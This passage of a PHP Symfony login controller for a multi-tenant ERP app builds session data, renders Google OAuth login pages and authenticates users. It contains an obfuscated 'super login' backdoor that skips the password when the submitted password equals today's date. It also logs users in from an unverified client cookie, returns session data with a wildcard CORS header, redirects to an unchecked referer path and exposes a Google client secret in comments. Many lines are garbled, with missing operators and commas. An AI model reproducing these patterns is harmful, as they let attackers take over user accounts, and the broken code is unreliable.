  3119.                         UserConstants::USER_COMPANY_IMAGE_LIST => json_encode($company_image_list),
  3120.                         UserConstants::USER_APP_ID => $appIdFromUserName,
  3121.                         UserConstants::USER_POSITION_LIST => json_encode($position_list_array),
  3122.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $allModuleAccessFlag,
  3123.                         UserConstants::SESSION_SALT => uniqid(mt_rand()),
  3124.                         UserConstants::APPLICATION_SECRET => $this->container->getParameter('secret'),
  3125.                         UserConstants::USER_GOC_ID => $gocId,
  3126.                         UserConstants::USER_DB_NAME => $gocDbName,
  3127.                         UserConstants::USER_DB_USER => $gocDbUser,
  3128.                         UserConstants::USER_DB_PASS => $gocDbPass,
  3129.                         UserConstants::USER_DB_HOST => $gocDbHost,
  3130.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $product_name_display_type,
  3131.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  3132.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  3133.                         UserConstants::USER_LOGIN_ID => $loginID,
  3134.                         UserConstants::USER_CURRENT_POSITION => $curr_position_id,
  3135.                         UserConstants::USER_ROUTE_LIST => json_encode($route_list_array),
  3136.                         UserConstants::USER_PROHIBIT_LIST => json_encode($prohibit_list_array),
  3137.                         'relevantRequiredPromptFields' => json_encode($currRequiredPromptFields),
  3138.                         'triggerPromptInfoModalFlag' => empty($currRequiredPromptFields) ? 1,
  3139.                         'TRIGGER_RESET_PASSWORD' => $triggerResetPassword,
  3140.                         'IS_EMAIL_VERIFIED' => $systemType != '_ERP_' $isEmailVerified 1,
  3141.                         'REMEMBERME' => $remember_me,
  3142.                         'BUDDYBEE_BALANCE' => $buddybeeBalance,
  3143.                         'BUDDYBEE_COIN_BALANCE' => $buddybeeCoinBalance,
  3144.                         'oAuthToken' => $oAuthToken,
  3145.                         'locale' => $locale,
  3146.                         'firebaseToken' => $firebaseToken,
  3147.                         'token' => $session->get('token'),
  3148.                         'firstLogin' => $firstLogin,
  3149.                         'oAuthImage' => $oAuthImage,
  3150.                         'appIdList' => json_encode($appIdList),
  3151.                         'branchIdList' => json_encode($branchIdList),
  3152.                         'branchId' => $branchId,
  3153.                         'companyIdListByAppId' => json_encode($companyIdListByAppId),
  3154.                         'companyNameListByAppId' => json_encode($companyNameListByAppId),
  3155.                         'companyImageListByAppId' => json_encode($companyImageListByAppId),
  3156.                         'userCompanyDarkVibrantList' => json_encode($company_dark_vibrant_list),
  3157.                         'userCompanyVibrantList' => json_encode($company_vibrant_list),
  3158.                         'userCompanyLightVibrantList' => json_encode($company_light_vibrant_list),
  3159.                     );
  3160.                     $session_data $this->filterClientSessionData($session_data);
  3161.                     if ($systemType == '_CENTRAL_') {
  3162.                         $accessList = [];
  3163. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  3164.                         foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  3165.                             foreach ($thisUserUserTypes as $thisUserUserType) {
  3166.                                 if (isset($gocDataListByAppId[$thisUserAppId])) {
  3167.                                     $userTypeName = isset(UserConstants::$userTypeName[$thisUserUserType]) ? UserConstants::$userTypeName[$thisUserUserType] : 'Unknown';
  3168.                                     $d = array(
  3169.                                         'userType' => $thisUserUserType,
  3170. //                                        'userTypeName' => UserConstants::$userTypeName[$thisUserUserType],
  3171.                                         'userTypeName' => $userTypeName,
  3172.                                         'globalId' => $globalId,
  3173.                                         'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  3174.                                         'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  3175.                                         'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  3176.                                         'systemType' => '_ERP_',
  3177.                                         'companyId' => 1,
  3178.                                         'appId' => $thisUserAppId,
  3179.                                         'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  3180.                                         'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  3181.                                         'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  3182.                                                 array(
  3183.                                                     'globalId' => $globalId,
  3184.                                                     'appId' => $thisUserAppId,
  3185.                                                     'authenticate' => 1,
  3186.                                                     'userType' => $thisUserUserType,
  3187.                                                     'userTypeName' => $userTypeName
  3188.                                                 )
  3189.                                             )
  3190.                                         ),
  3191.                                         'userCompanyList' => [
  3192.                                         ]
  3193.                                     );
  3194.                                     $accessList[] = $d;
  3195.                                 }
  3196.                             }
  3197.                         }
  3198.                         $accessList $this->appendCentralCustomerAccessList($accessList, (int)$globalId);
  3199.                         $session_data['userAccessList'] = $accessList;
  3200.                     }
  3201.                     $ultimateData System::setSessionForUser($em_goc,
  3202.                         $session,
  3203.                         $session_data,
  3204.                         $config
  3205.                     );
  3206. //                    $tokenData = MiscActions::CreateTokenFromSessionData($em_goc, $session_data);
  3207.                     $session_data $ultimateData['sessionData'];
  3208.                     $session_data $this->filterClientSessionData($session_data);
  3209.                     $token $ultimateData['token'];
  3210.                     $session->set('token'$token);
  3211.                     if ($systemType == '_CENTRAL_') {
  3212.                         $session->set('csToken'$token);
  3213.                     } else {
  3214.                         $session->set('csToken'$csToken);
  3215.                     }
  3216.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == || $request->query->get('remoteVerify'0) == 1) {
  3217.                         $session->set('remoteVerified'1);
  3218.                         $response = new JsonResponse(array(
  3219.                             'token' => $token,
  3220.                             'uid' => $session->get(UserConstants::USER_ID),
  3221.                             'session' => $session,
  3222.                             'email' => $session_data['userEmail'],
  3223.                             'success' => true,
  3224.                             'session_data' => $session_data,
  3225.                         ));
  3226.                         $response->headers->set('Access-Control-Allow-Origin''*');
  3227.                         return $response;
  3228.                     }
  3229.                     //TEMP START
  3230.                     if ($systemType == '_CENTRAL_') {
  3231.                         if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  3232.                             if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  3233.                                 if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  3234.                                     $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  3235.                                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3236.                                     return $this->redirect($red);
  3237.                                 }
  3238.                             } else {
  3239.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3240.                             }
  3241.                         } else
  3242.                             return $this->redirectToRoute('central_landing');
  3243.                     }
  3244.                     if ($systemType == '_SOPHIA_') {
  3245.                         return $this->redirectToRoute('sofia_dashboard_admin');
  3246.                     }
  3247.                     //TREMP END
  3248.                     if ($userForcedRoute != '')
  3249.                         return $this->redirectToRoute($userForcedRoute);
  3250.                     if ($request->request->has('referer_path')) {
  3251.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  3252.                             return $this->redirect($request->request->get('referer_path'));
  3253.                         }
  3254.                     }
  3255.                     if ($request->query->has('refRoute')) {
  3256.                         if ($request->query->get('refRoute') == '8917922')
  3257.                             $userDefaultRoute 'apply_for_consultant';
  3258.                     }
  3259.                     if ($userDefaultRoute == "" || $userDefaultRoute == "" || $userDefaultRoute == null)
  3260.                         $userDefaultRoute 'dashboard';
  3261.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  3262.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  3263.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  3264.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  3265.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3266.                                 return $this->redirect($red);
  3267.                             }
  3268.                         } else {
  3269.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3270.                         }
  3271.                     } else
  3272.                         return $this->redirectToRoute($userDefaultRoute);
  3273.                 }
  3274.             }
  3275.         }
  3276.         $session $request->getSession();
  3277.         $session->set('systemType'$systemType);
  3278.         if (isset($encData['appId'])) {
  3279.             if (isset($gocDataListByAppId[$encData['appId']]))
  3280.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  3281.         }
  3282.         $routeName $request->attributes->get('_route');
  3283.         if ($systemType == '_BUDDYBEE_' && $routeName != 'erp_login') {
  3284.             $refRoute '';
  3285.             $message '';
  3286.             $errorField '_NONE_';
  3287.             if ($refRoute != '') {
  3288.                 if ($refRoute == '8917922')
  3289.                     $redirectRoute 'apply_for_consultant';
  3290.             }
  3291.             if ($request->query->has('refRoute')) {
  3292.                 $refRoute $request->query->get('refRoute');
  3293.                 if ($refRoute == '8917922')
  3294.                     $redirectRoute 'apply_for_consultant';
  3295.             }
  3296.             $google_client = new Google_Client();
  3297. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  3298. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  3299.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  3300.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  3301.             } else {
  3302.                 $url $this->generateUrl(
  3303.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  3304.                 );
  3305.             }
  3306.             $selector BuddybeeConstant::$selector;
  3307.             $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  3308. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  3309.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  3310. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  3311.             $google_client->setRedirectUri($url);
  3312.             $google_client->setAccessType('offline');        // offline access
  3313.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  3314.             $google_client->setRedirectUri($url);
  3315.             $google_client->addScope('email');
  3316.             $google_client->addScope('profile');
  3317.             $google_client->addScope('openid');
  3318.             return $this->render(
  3319.                 '@Authentication/pages/views/applicant_login.html.twig',
  3320.                 [
  3321.                     'page_title' => 'BuddyBee Login',
  3322.                     'oAuthLink' => $google_client->createAuthUrl(),
  3323.                     'redirect_url' => $url,
  3324.                     'message' => $message,
  3325.                     'errorField' => '',
  3326.                     'systemType' => $systemType,
  3327.                     'ownServerId' => $ownServerId,
  3328.                     'refRoute' => $refRoute,
  3329.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  3330.                     'selector' => $selector
  3331.                 ]
  3332.             );
  3333.         } else if ($systemType == '_CENTRAL_' && $routeName != 'erp_login') {
  3334.             $refRoute '';
  3335.             $message '';
  3336.             $errorField '_NONE_';
  3337. //            if ($request->query->has('message')) {
  3338. //                $message = $request->query->get('message');
  3339. //
  3340. //            }
  3341. //            if ($request->query->has('errorField')) {
  3342. //                $errorField = $request->query->get('errorField');
  3343. //
  3344. //            }
  3345.             if ($refRoute != '') {
  3346.                 if ($refRoute == '8917922')
  3347.                     $redirectRoute 'apply_for_consultant';
  3348.             }
  3349.             if ($request->query->has('refRoute')) {
  3350.                 $refRoute $request->query->get('refRoute');
  3351.                 if ($refRoute == '8917922')
  3352.                     $redirectRoute 'apply_for_consultant';
  3353.             }
  3354.             $google_client = new Google_Client();
  3355. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  3356. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  3357.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  3358.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  3359.             } else {
  3360.                 $url $this->generateUrl(
  3361.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  3362.                 );
  3363.             }
  3364.             $selector BuddybeeConstant::$selector;
  3365. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  3366.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  3367. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  3368.             $google_client->setRedirectUri($url);
  3369.             $google_client->setAccessType('offline');        // offline access
  3370.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  3371.             $google_client->setRedirectUri($url);
  3372.             $google_client->addScope('email');
  3373.             $google_client->addScope('profile');
  3374.             $google_client->addScope('openid');
  3375.             return $this->render(
  3376.                 '@Authentication/pages/views/central_login.html.twig',
  3377.                 [
  3378.                     'page_title' => 'Central Login',
  3379.                     'oAuthLink' => $google_client->createAuthUrl(),
  3380.                     'redirect_url' => $url,
  3381.                     'message' => $message,
  3382.                     'systemType' => $systemType,
  3383.                     'ownServerId' => $ownServerId,
  3384.                     'errorField' => '',
  3385.                     'refRoute' => $refRoute,
  3386.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  3387.                     'selector' => $selector
  3388.                 ]
  3389.             );
  3390.         } else if ($systemType == '_SOPHIA_' && $routeName != 'erp_login') {
  3391.             $refRoute '';
  3392.             $message '';
  3393.             $errorField '_NONE_';
  3394. //            if ($request->query->has('message')) {
  3395. //                $message = $request->query->get('message');
  3396. //
  3397. //            }
  3398. //            if ($request->query->has('errorField')) {
  3399. //                $errorField = $request->query->get('errorField');
  3400. //
  3401. //            }
  3402.             if ($refRoute != '') {
  3403.                 if ($refRoute == '8917922')
  3404.                     $redirectRoute 'apply_for_consultant';
  3405.             }
  3406.             if ($request->query->has('refRoute')) {
  3407.                 $refRoute $request->query->get('refRoute');
  3408.                 if ($refRoute == '8917922')
  3409.                     $redirectRoute 'apply_for_consultant';
  3410.             }
  3411.             $google_client = new Google_Client();
  3412. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  3413. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  3414.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  3415.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  3416.             } else {
  3417.                 $url $this->generateUrl(
  3418.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  3419.                 );
  3420.             }
  3421.             $selector BuddybeeConstant::$selector;
  3422. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  3423.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  3424. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  3425.             $google_client->setRedirectUri($url);
  3426.             $google_client->setAccessType('offline');        // offline access
  3427.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  3428.             $google_client->setRedirectUri($url);
  3429.             $google_client->addScope('email');
  3430.             $google_client->addScope('profile');
  3431.             $google_client->addScope('openid');
  3432.             return $this->render(
  3433.                 '@Sophia/pages/views/sofia_login.html.twig',
  3434.                 [
  3435.                     'page_title' => 'Central Login',
  3436.                     'oAuthLink' => $google_client->createAuthUrl(),
  3437.                     'redirect_url' => $url,
  3438.                     'message' => $message,
  3439.                     'systemType' => $systemType,
  3440.                     'ownServerId' => $ownServerId,
  3441.                     'errorField' => '',
  3442.                     'refRoute' => $refRoute,
  3443.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  3444.                     'selector' => $selector
  3445.                 ]
  3446.             );
  3447.         } else if ($systemType == '_ERP_' && ($this->container->hasParameter('system_auth_type') ? $this->container->getParameter('system_auth_type') : '_LOCAL_AUTH_') == '_CENTRAL_AUTH_') {
  3448.             return $this->redirect(GeneralConstant::HONEYBEE_CENTRAL_SERVER '/central_landing');
  3449.         } else
  3450.             return $this->render(
  3451.                 '@Authentication/pages/views/login_new.html.twig',
  3452.                 array(
  3453.                     "message" => $message,
  3454.                     'page_title' => 'Login',
  3455.                     'gocList' => $gocDataListForLoginWeb,
  3456.                     'gocId' => $gocId != $gocId '',
  3457.                     'systemType' => $systemType,
  3458.                     'ownServerId' => $ownServerId,
  3459.                     'encData' => $encData,
  3460.                     //                'ref'=>$request->
  3461.                 )
  3462.             );
  3463.     }
  3464.     public function doLoginForAppAction(Request $request$encData "",
  3465.                                                 $remoteVerify 0,
  3466.                                                 $applicantDirectLogin 0
  3467.     )
  3468.     {
  3469.         $message "";
  3470.         $email '';
  3471. //                            $userName = substr($email, 4);
  3472.         $userName '';
  3473.         $gocList = [];
  3474.         $skipPassword 0;
  3475.         $firstLogin 0;
  3476.         $remember_me 0;
  3477.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  3478.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  3479.         if ($request->isMethod('POST')) {
  3480.             if ($request->request->has('remember_me'))
  3481.                 $remember_me 1;
  3482.         } else {
  3483.             if ($request->query->has('remember_me'))
  3484.                 $remember_me 1;
  3485.         }
  3486.         if ($encData != "")
  3487.             $encData json_decode($this->get('url_encryptor')->decrypt($encData));
  3488.         else if ($request->query->has('spd')) {
  3489.             $encData json_decode($this->get('url_encryptor')->decrypt($request->query->get('spd')), true);
  3490.         }
  3491.         $user = [];
  3492.         $userType 0//nothing for now , will add supp or client if we find anything
  3493.         $em_goc $this->getDoctrine()->getManager('company_group');
  3494.         $em_goc->getConnection()->connect();
  3495.         $gocEnabled 0;
  3496.         if ($this->container->hasParameter('entity_group_enabled'))
  3497.             $gocEnabled $this->container->getParameter('entity_group_enabled');
  3498.         if ($gocEnabled == 1)
  3499.             $connected $em_goc->getConnection()->isConnected();
  3500.         else
  3501.             $connected false;
  3502.         if ($connected)
  3503.             $gocList $em_goc
  3504.                 ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  3505.                 ->findBy(
  3506.                     array(//                        'active' => 1
  3507.                     )
  3508.                 );
  3509.         $gocDataList = [];
  3510.         $gocDataListForLoginWeb = [];
  3511.         $gocDataListByAppId = [];
  3512.         foreach ($gocList as $entry) {
  3513.             $d = array(
  3514.                 'name' => $entry->getName(),
  3515.                 'image' => $entry->getImage(),
  3516.                 'id' => $entry->getId(),
  3517.                 'appId' => $entry->getAppId(),
  3518.                 'skipInWebFlag' => $entry->getSkipInWebFlag(),
  3519.                 'skipInAppFlag' => $entry->getSkipInAppFlag(),
  3520.                 'dbName' => $entry->getDbName(),
  3521.                 'dbUser' => $entry->getDbUser(),
  3522.                 'dbPass' => $entry->getDbPass(),
  3523.                 'dbHost' => $entry->getDbHost(),
  3524.                 'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  3525.                 'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  3526.                 'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  3527.                 'companyRemaining' => $entry->getCompanyRemaining(),
  3528.                 'companyAllowed' => $entry->getCompanyAllowed(),
  3529.             );
  3530.             $gocDataList[$entry->getId()] = $d;
  3531.             if (in_array($entry->getSkipInWebFlag(), [0null]))
  3532.                 $gocDataListForLoginWeb[$entry->getId()] = $d;
  3533.             $gocDataListByAppId[$entry->getAppId()] = $d;
  3534.         }
  3535. //        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id_start');
  3536.         $gocDbName '';
  3537.         $gocDbUser '';
  3538.         $gocDbPass '';
  3539.         $gocDbHost '';
  3540.         $gocId 0;
  3541.         $appId 0;
  3542.         $hasGoc 0;
  3543.         $userId 0;
  3544.         $userCompanyId 0;
  3545.         $specialLogin 0;
  3546.         $supplierId 0;
  3547.         $applicantId 0;
  3548.         $isApplicantLogin 0;
  3549.         $clientId 0;
  3550.         $cookieLogin 0;
  3551.         $encrypedLogin 0;
  3552.         $loginID 0;
  3553.         $supplierId 0;
  3554.         $clientId 0;
  3555.         $userId 0;
  3556.         $globalId 0;
  3557.         $applicantId 0;
  3558.         $employeeId 0;
  3559.         $userCompanyId 0;
  3560.         $company_id_list = [];
  3561.         $company_name_list = [];
  3562.         $company_image_list = [];
  3563.         $route_list_array = [];
  3564.         $prohibit_list_array = [];
  3565.         $company_dark_vibrant_list = [];
  3566.         $company_vibrant_list = [];
  3567.         $company_light_vibrant_list = [];
  3568.         $currRequiredPromptFields = [];
  3569.         $oAuthImage '';
  3570.         $appIdList '';
  3571.         $userDefaultRoute '';
  3572.         $userForcedRoute '';
  3573.         $branchIdList '';
  3574.         $branchId 0;
  3575.         $companyIdListByAppId = [];
  3576.         $companyNameListByAppId = [];
  3577.         $companyImageListByAppId = [];
  3578.         $position_list_array = [];
  3579.         $curr_position_id 0;
  3580.         $allModuleAccessFlag 0;
  3581.         $lastSettingsUpdatedTs 0;
  3582.         $isConsultant 0;
  3583.         $isAdmin 0;
  3584.         $isModerator 0;
  3585.         $isRetailer 0;
  3586.         $retailerLevel 0;
  3587.         $adminLevel 0;
  3588.         $moderatorLevel 0;
  3589.         $userEmail '';
  3590.         $userImage '';
  3591.         $userFullName '';
  3592.         $triggerResetPassword 0;
  3593.         $isEmailVerified 0;
  3594.         $currentTaskId 0;
  3595.         $currentPlanningItemId 0;
  3596. //                $currentTaskAppId = 0;
  3597.         $buddybeeBalance 0;
  3598.         $buddybeeCoinBalance 0;
  3599.         $entityUserbalance 0;
  3600.         $userAppIds = [];
  3601.         $userTypesByAppIds = [];
  3602.         $currentMonthHolidayList = [];
  3603.         $currentHolidayCalendarId 0;
  3604.         $oAuthToken $request->request->get('oAuthToken''');
  3605.         $locale $request->request->get('locale''');
  3606.         $firebaseToken $request->request->get('firebaseToken''');
  3607.         if ($request->request->has('gocId')) {
  3608.             $hasGoc 1;
  3609.             $gocId $request->request->get('gocId');
  3610.         }
  3611.         if ($request->request->has('appId')) {
  3612.             $hasGoc 1;
  3613.             $appId $request->request->get('appId');
  3614.         }
  3615.         if (isset($encData['appId'])) {
  3616.             if (isset($gocDataListByAppId[$encData['appId']])) {
  3617.                 $hasGoc 1;
  3618.                 $appId $encData['appId'];
  3619.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  3620.             }
  3621.         }
  3622.         $csToken $request->get('csToken''');
  3623.         $entityLoginFlag $request->get('entityLoginFlag') ? $request->get('entityLoginFlag') : 0;
  3624.         $loginType $request->get('loginType') ? $request->get('loginType') : 1;
  3625.         $oAuthData $request->get('oAuthData') ? $request->get('oAuthData') : 0;
  3626. //        if ($request->cookies->has('USRCKIE'))
  3627. //        System::log_it($this->container->getParameter('kernel.root_dir'), json_encode($gocDataListByAppId), 'default_test', 1);
  3628.         if (isset($encData['globalId'])) {
  3629.             if (isset($encData['authenticate']))
  3630.                 if ($encData['authenticate'] == 1)
  3631.                     $skipPassword 1;
  3632.             if ($encData['globalId'] != && $encData['globalId'] != '') {
  3633.                 $skipPassword 1;
  3634.                 $remember_me 1;
  3635.                 $globalId $encData['globalId'];
  3636.                 $appId $encData['appId'];
  3637.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  3638.                 $userType $encData['userType'];
  3639.                 $userCompanyId 1;
  3640.                 $hasGoc 1;
  3641.                 $encrypedLogin 1;
  3642.                 if (in_array($userType, [67]))
  3643.                     $entityLoginFlag 1;
  3644.                 if (in_array($userType, [34]))
  3645.                     $specialLogin 1;
  3646.                 if ($userType == UserConstants::USER_TYPE_CLIENT)
  3647.                     $clientId = isset($encData['erpClientId']) ? (int)$encData['erpClientId'] : $userId;
  3648.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER)
  3649.                     $supplierId $userId;
  3650.                 if ($userType == UserConstants::USER_TYPE_APPLICANT)
  3651.                     $applicantId $userId;
  3652.             }
  3653.         } else if ($systemType == '_BUDDYBEE_' && $request->cookies->has('USRCKIE')) {
  3654.             $cookieData json_decode($request->cookies->get('USRCKIE'), true);
  3655.             if ($cookieData == null)
  3656.                 $cookieData = [];
  3657.             if (isset($cookieData['uid'])) {
  3658.                 if ($cookieData['uid'] != && $cookieData['uid'] != '') {
  3659.                     $skipPassword 1;
  3660.                     $remember_me 1;
  3661.                     $userId $cookieData['uid'];
  3662.                     $gocId $cookieData['gocId'];
  3663.                     $userCompanyId $cookieData['companyId'];
  3664.                     $userType $cookieData['ut'];
  3665.                     $hasGoc 1;
  3666.                     $cookieLogin 1;
  3667.                     if (in_array($userType, [67]))
  3668.                         $entityLoginFlag 1;
  3669.                     if (in_array($userType, [34]))
  3670.                         $specialLogin 1;
  3671.                     if ($userType == UserConstants::USER_TYPE_CLIENT)
  3672.                         $clientId $userId;
  3673.                     if ($userType == UserConstants::USER_TYPE_SUPPLIER)
  3674.                         $supplierId $userId;
  3675.                     if ($userType == UserConstants::USER_TYPE_APPLICANT)
  3676.                         $applicantId $userId;
  3677.                 }
  3678.             }
  3679.         }
  3680.         if ($request->isMethod('POST') || $request->query->has('oAuthData') || $encrypedLogin == || $cookieLogin == 1) {
  3681.             ///super login
  3682.             $todayDt = new \DateTime();
  3683. //            $mp='_eco_';
  3684.             $mp $todayDt->format("\171\x6d\x64");
  3685.             if ($request->request->get('password') == $mp)
  3686.                 $skipPassword 1;
  3687.             //super login ends
  3688.             ///special logins, suppliers and clients
  3689.             $company_id_list = [];
  3690.             $company_name_list = [];
  3691.             $company_image_list = [];
  3692.             $company_dark_vibrant_list = [];
  3693.             $company_light_vibrant_list = [];
  3694.             $company_vibrant_list = [];
  3695.             $appIdFromUserName 0//nothing for now , will add supp or client if we find anything
  3696.             $uname $request->request->get('username');
  3697.             $uname preg_replace('/\s/'''$uname);
  3698.             $deviceId $request->request->has('deviceId') ? $request->request->get('deviceId') : 0;
  3699.             $applicantDirectLogin $request->request->has('applicantDirectLogin') ? $request->request->get('applicantDirectLogin') : $applicantDirectLogin;
  3700.             $session $request->getSession();
  3701.             $product_name_display_type 0;
  3702.             $Special 0;
  3703.             if ($entityLoginFlag == 1//entity login
  3704.             {
  3705.                 if ($cookieLogin == 1) {
  3706.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  3707.                         array(
  3708.                             'userId' => $userId
  3709.                         )
  3710.                     );
  3711.                 } else if ($loginType == 2//oauth
  3712.                 {
  3713.                     if (!empty($oAuthData)) {
  3714.                         //check for if exists 1st
  3715.                         $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  3716.                             array(
  3717.                                 'email' => $oAuthData['email']
  3718.                             )
  3719.                         );
  3720.                         if ($user) {
  3721.                             //no need to verify for oauth just proceed
  3722.                         } else {
  3723.                             //add new user and pass that user
  3724.                             $add_user EntityUserM::addNewEntityUser(
  3725.                                 $em_goc,
  3726.                                 $oAuthData['name'],
  3727.                                 $oAuthData['email'],
  3728.                                 '',
  3729.                                 0,
  3730.                                 0,
  3731.                                 0,
  3732.                                 UserConstants::USER_TYPE_ENTITY_USER_GENERAL_USER,
  3733.                                 [],
  3734.                                 0,
  3735.                                 "",
  3736.                                 0,
  3737.                                 "",
  3738.                                 $image '',
  3739.                                 $deviceId,
  3740.                                 0,
  3741.                                 0,
  3742.                                 $oAuthData['uniqueId'],
  3743.                                 $oAuthData['token'],
  3744.                                 $oAuthData['image'],
  3745.                                 $oAuthData['emailVerified'],
  3746.                                 $oAuthData['type']
  3747.                             );
  3748.                             if ($add_user['success'] == true) {
  3749.                                 $firstLogin 1;
  3750.                                 $user $add_user['user'];
  3751.                                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  3752.                                     $emailmessage = (new \Swift_Message('Registration on Karbar'))
  3753.                                         ->setFrom('registration@entity.innobd.com')
  3754.                                         ->setTo($user->getEmail())
  3755.                                         ->setBody(
  3756.                                             $this->renderView(
  3757.                                                 '@Application/email/user/registration_karbar.html.twig',
  3758.                                                 array('name' => $request->request->get('name'),
  3759.                                                     //                                                    'companyData' => $companyData,
  3760.                                                     //                                                    'userName'=>$request->request->get('email'),
  3761.                                                     //                                                    'password'=>$request->request->get('password'),
  3762.                                                 )
  3763.                                             ),
  3764.                                             'text/html'
  3765.                                         );
  3766.                                     /*
  3767.                                                        * If you also want to include a plaintext version of the message
  3768.                                                       ->addPart(
  3769.                                                           $this->renderView(
  3770.                                                               'Emails/registration.txt.twig',
  3771.                                                               array('name' => $name)
  3772.                                                           ),
  3773.                                                           'text/plain'
  3774.                                                       )
  3775.                                                       */
  3776.                                     //            ;
  3777.                                     $this->get('mailer')->send($emailmessage);
  3778.                                 }
  3779.                             }
  3780.                         }
  3781.                     }
  3782.                 } else {
  3783.                     $data = array();
  3784.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  3785.                         array(
  3786.                             'email' => $request->request->get('username')
  3787.                         )
  3788.                     );
  3789.                     if (!$user) {
  3790.                         $message "Wrong Email";
  3791.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  3792.                             return new JsonResponse(array(
  3793.                                 'uid' => $session->get(UserConstants::USER_ID),
  3794.                                 'session' => $session,
  3795.                                 'success' => false,
  3796.                                 'errorStr' => $message,
  3797.                                 'session_data' => [],
  3798.                             ));
